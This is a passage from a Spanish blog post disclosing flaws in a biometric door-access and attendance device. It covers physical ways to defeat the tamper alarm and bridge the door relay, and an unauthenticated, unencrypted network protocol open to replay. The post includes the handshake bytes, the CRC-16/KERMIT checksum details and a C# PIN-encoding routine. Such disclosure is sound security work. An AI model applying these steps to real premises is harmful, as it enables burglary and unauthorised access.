a contactar conmigo, a devolverme los correos y sobretodo a la falta de un BugBounty. Que queda entonces, pues hacer un disclosure y esperar que algún día el fabricante encuentre su producto entre las entrañas de Internet y se digne a arreglarlo, aunque a mi parecer, la seguridad no ha sido un de los pilares durante su desarrollo y puede ser mas complicado de lo que parece. Recientemente adquirimos un control de personal (para ver horarios de entrada y salida) y control de accesos biométrico (poder abrir puertas con la huella del dedo). Como podéis ver no es precisamente barato. Y me dispuse a ver cuan seguro era dicho producto, a la vez de si podía o había algún tipo de librería para conectarlo con un programa (para el que trabajo). Mi sorpresa fue que no había SDK y que no parecía que tuvieran intención de hacerlo, por lo que para conectarlo, me dispuse a ver como se podría sacar la información de dicho aparato. UPDATE: Pocos días antes de publicar esta entrada, encontré un SDK, por lo que el propio SDK puede valer de exploit.   #UNBOXING FÍSICO Primero voy a enseñaros las especificaciones técnicas del producto, para ver cómo podría evadir el sistema un usuario malintencionado y abrir la puerta. Olvidaros de enchufar dos cables y ver un contador bajando “¡Quedan dos minutos jefe!”, nada de eso … La realidad supera siempre a la ficción compañeros. ¿Como podría un ladrón abrir una puerta protegida por un sistema biométrico, de tarjetas o por pin? (pudiera ser solo contara con la opción de biometría) El primer fallo notable se ve ya en sí en la propia instalación del producto, ya que al instalarlo toda la electrónica queda del lado expuesto de la puerta, del que se encuentra nuestro “ladrón” o persona non grata. Lo que podría permitir al “atacante” operar con el producto para ver sus entresijos. Al montar un sistema de este tipo, si tu intención es proteger lo que hay por detrás, no puedes dejar a la persona que tiene las llaves con el culo al aire y delante de la puerta … Cabe decir que cuenta con un avisador, para que en caso de manipulación suene una alarma, aunque ya veremos como evadir esta parte. El segundo fallo destacable del producto es que su carcasa es de plástico. Lo que nos vendrá muy bien para nuestro propósito. Abriéndole las tripas podemos distinguir a grandes rasgos 4 partes importantes del producto: Una entrada USB (no jugaremos con ella) Una entrada de ethernet ( welcome to the jungle ) El detector de manipulación ( controla un pitido molesto a la hora de abrirlo ) Los conectores a la puerta ( nuestro objetivo para ver el Area 51 ), justo debajo de él se encuentra el relé que abrirá y dará acceso a la puerta.   Aquí tenemos en mas detalle las especificaciones y los detalles de cada una de las entradas Pues vamos a ver como se porta “el cacharrito en caso de manipulación no deseada”, como se esperaba ¡se queja! #Bypasseando la sirena de manipulación Como nuestro objetivo de momento es entrar al otro lado, vamos a ver que podemos hacer para conseguir realizar un simple puente que accione el relé y con ello abrir la puerta de par en par. Método 1 – Soldando Con este método tan solo tendríamos que soldar un pequeño agujero en este punto que nos permitiera hacer el puente, no se accionaría la palanca y no saltaría ninguna alarma. Eso sí un poco hacia el lateral para salvar la electrónica de la pantalla y del teclado (que dudo mucho nos importará que quedara inutilizado) Mediante esta técnica no necesitarías abrirlo, porque el hueco te permitiría manipular las conexiones para realizar el puente al relé. Método 2 – A lo vasco ¡Arrancándolo de la pared! Está claro que el que quiere entrar no va tener miramientos, por lo que como decía antes, que la electrónica esté por fuera es un grave problema. Si el atacante arrancara de cuajo de la pared el aparato, podría abrirlo sin activar la sirena, ¿cómo? pues como diría el famoso niño, con … Os dejo un vídeo de la prueba de concepto, donde por medio del hueco del cableado, es completamente accesible el accionador y se puede bloquear durante la apertura del mismo. ¿Y para que queremos abrirlo? pues para realizar un simple puente que abra la puerta del Area51. Aquí tenéis un ejemplo (sin soldar obviamente), donde podéis escuchar el sonido del relé cuando se produciría la apertura de la puerta. También pude comprobar que la sirena no sonaba cambiando el cable de red. Por lo que si rompieras el pladur, sacaras el macarrón y crimparas un extremo, podrías pasar a realizar la serie de ataques que veremos a continuación. #UNBOXING DIGITAL Ahora vamos a centrarnos mas en la parte de unos y ceros. La que realmente nos interesa, la que te convierte en un ladrón de guante blanco, y como no, hubo que empezar reverseando el software de la máquina. Como su comunicación va por TCP/IP me dispuse a utilizar el famoso WireShark para ver que mandaba el programa (tiene un software que registra las entradas y salidas del personal). La verdad era una tarea un poco pesada, así que opté por examinar a fondo la carpeta de la instalación y cual fue mi sorpresa cuando en una carpeta log (sin haber activado yo ninguna opción de depuración) me encuentro todas las llamadas que hace la aplicación ¡y sus respuestas! (instalación por defecto).   Me acababa de ahorrar muchísimas horas de análisis de tráfico, por lo que no sabía si estar agradecido o flipando por semejante fuga de información. Ahora solo quedaba entender como funcionaba el protocolo y replicar el proceso, para ello, solo tenía que utilizar el programa como un usuario, borrando el log previamente para ver que le mandaba y que recibía la máquina cada vez que realizaba alguna acción. Y mi primera sorpresa fue, tras resetearla de fábrica, que todo lo que enviaba y recibía era lo mismo, carecía de encriptación y encima de autentificación, ninguna clave era enviada para decirle a la máquina, ¡oye que soy yo, no un cualquiera! … Con ayuda de muchas horas de trabajo y sobretodo de la página https://hexed.it , pude entender poco a poco que era lo que enviaba y recibía (todo en Big-Endian) Pronto tuve un código funcional (¿SDK?) de la propia máquina. Podía abrir puertas, dar de alta usuarios, ver los usuarios que existían con sus pines, modificar tarjetas, eliminar todos los registros del control de personal, etc, etc… Como curiosidad, una de las partes que mas me costó fue dar con la función CRC que utilizaba para enviar los datos ya que por ejemplo una cadena de ejemplo que enviaba a modo de “Hola voy a empezar a decirte lo que tienes que hacer, pero sin decirte quien soy” era  A5 00 00 00 01 48 00 00 F0 4A Donde  0xA5, 0x00, 0x00, 0x00, 0x01 era un prefijo que se utilizaba siempre (supongo que un tipo de versionado) 48 00 00 era el mensaje que se quería enviar (en este caso el Handshake) y F0 4A era un dichoso CRC, al menos estaba seguro de ello, no variaba a no ser que yo variara, por ejemplo, el nombre del usuario a crear, detalles así me hicieron pensar que era un CRC de 16 bits, pero hay tantas formas de calcular un CRC, ¿realmente lo necesitaba? la mayoría de mensajes eran fijos, ABRIR PUERTA, BORRAR USUARIOS, un simple ataque de replicación de tráfico los ejecutaba a la perfección. Pero yo quería poder crear mi usuario, no tener todo hardcodeado, llegar un poco mas allá, así que me dispuse a averiguar como calculaba el dichoso checksum. Calculando el CRC ¿De que manera calcularía el CRC? si algo tenía claro es que era un CRC de 2 bytes, por lo que mi primera opción antes del reversing fue buscar CRC pre-calculados, y si coincidían, pues me ahorraría horas de reversing. Probé con esta web http://ift.tt/2bIi2a8 donde le ponías un dato y te generaba el CRC, con el fin de sacar la función que utilizaba para calcularlo. También existe esta http://crccalc.com (que es mas completa) y que he descubierto haciendo esta entrada (siempre se aprende algo), la cual me habría dado un falso negativo a pesar de que el método si que está entre los listados, por lo que voy a pasar a explicar a continuación. Tras mi primera frustración lo primero que hice fue ir al IDA y buscar donde guardaba el log, para ir de ahí para atrás y ver donde generaba el CRC en función del mensaje. Buscando un poquito localice la función donde se escribían dichos archivos de log. Rápidamente localice la función del cálculo donde establecía dichos valores al final del buffer (utilize x64dbg para este proceso)   Me fui a IDA dónde claramente distinguí que tiene un array (word_C3D324) del cual va sacando los valores sobre los que hará un XOR (a grandes rasgos) Mi siguiente paso fue buscar dos o tres valores de los utilizados, como soy un poco vago por naturaleza (y mis conocimientos de reversing también son limitados) tiré de tito google y localicé un script en python (http://ift.tt/2nGKeeY) que utilizaba los mismos valores para calcular un CRC de 16 bits, ¿demasiada coincidencia? ¿cual era? el CRC-16/KERMIT. ¡Pero no me funcionaba! no me daba el mismo resultado, entonces volví al IDA y enseguida me di cuenta de que ellos inicializaban la función con 0xFFFF y tanto la web anteriormente mencionada como el script localizado lo hacía con 0x0000. Por lo que pude replicar ya con éxito el cálculo del checksum de cada uno de los mensajes a enviar.   Ya disponía de la capacidad de poder escribir los mensajes que quisiera sin tener que tener harcodeado el payload completo (que sería la opción mas simple ya que no varía con el tiempo). Aquí tenéis un ejemplo de como se da de alta una tarjeta como administrador, que previamente no estaba registrada en el aparato. #CÁLCULO DEL PIN También cabe mencionar que el CRC no fue de lo único que se resistió, el cálculo del pin parecía un CTF, guardaba el pin numérico en 3 bytes (BigEndian) pero al pasar de 65535, algo no cuadraba … Tras un tiempo analizando muestras de diferentes pines, se llegó a la conclusión de que para generarlo, utilizaba también la logitud del mismo en el primer digito hexadecimal del primer byte. Quedando la función en c# de la siguiente manera static byte[] Pin2Buffer(int pin) { // Cuando no se le pase un pin válido devolver 0xFFFFFF if (pin == int.MaxValue || pin == int.MinValue) return new byte[] { 0xFF, 0xFF, 0xFF }; // Sacar longitud del pin en string int l = pin.ToString().Length; // Convertirlo a Int32 y quitarle un byte (Int24) byte[] bp = BitConverter.GetBytes(pin).Take(3).ToArray(); // Invertirlo para el BigEndian Array.Reverse(bp); // Al primer byte sumarle el tamaño en Hexadecimal al valor actual bp[0] = (byte)(bp[0] + Convert.ToByte(l.ToString() + "0", 16)); return bp; } #MORALEJA Con un clip y un mechero puedes entrar al Area51 Cualquier empleado con acceso a la red, puede entrar al Area51 Este NO es un sistema seguro para proteger el Area51 Espero que os haya gustado, un saludo y ¡hasta la próxima! Twittear

https://www.fwhibbit.es/unboxing-a-0day-hack-a-biometric-system